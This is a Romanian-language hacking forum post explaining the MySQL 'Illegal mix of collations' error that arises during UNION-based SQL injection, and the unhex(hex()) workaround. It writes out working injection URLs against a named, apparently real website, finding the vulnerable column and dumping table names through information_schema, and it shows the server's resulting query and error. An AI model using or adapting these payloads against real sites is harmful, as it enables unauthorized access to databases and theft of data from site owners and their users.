Jump to content
Sheyken

"Illegal mix of collations."

Recommended Posts

Multi dintre noi am intalnit aceasta problema. As dori sa va explic pe scurt de ce apare aceasta erroare si de ce trebuie sa ne folosim de:

[COLOR="#00FF00"]unhex(hex([/COLOR]

atunci cand apare aceasta erroare:

[COLOR="#00FF00"]Illegal mix of collations for operation 'UNION'[/COLOR]

M-am gandit ca ar fi interesanta explicatia la aceasta intreba.

(Pe scurt) Definitia "collate-ului": Collate-ul este modul in care a fost scrisa o coloana din baza de date cu un anumit tip de encoding exemplu: LATIN1

1. Vom incepe de la 0, luam un site, exemplu:

http://www.baronfishing.ro/produse.php?id=127 union all select 1,2,3,4--

coloana vulnerabila (disponibila) este 2.

2. Voi sari direct la erroarea "Illegal mix of collations.":

http://www.baronfishing.ro/produse.php?id=127 UNION SELECT 1,group_concat(table_name,0x3a),3,4 from information_schema.tables where table_schema=database()--

select * from `cats` where `pid` = 127 UNION SELECT 1,group_concat(table_name,0x3a),3,4 from information_schema.tables where table_schema=database()--1271 - [COLOR="#00FF00"]Illegal mix of collations for operation 'UNION'[/COLOR]

Ok, acum va intrebari: Ce p*m e cu erroarea asta? :))

Explicatia: Prin "union all select 1,group_concat(table_name,0x3a),3,4 from information_schema.tables where table_schema=database()--" se selecteaza datele prin formatul encodat default [ UTF8 ]. In baza de date encoding-ul a fost scris in LATIN1 iar noi cand folosim "union all select bla bla..." se selecteaza in default [ UTF8 ] prin aceasta selectare "collationul" coloanei principal selectate cu cea de la union nu coincide, primul encoding cu al 2 lea.

Multumiri speciale lui totti93 pentru link.

Edited by Sheyken
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...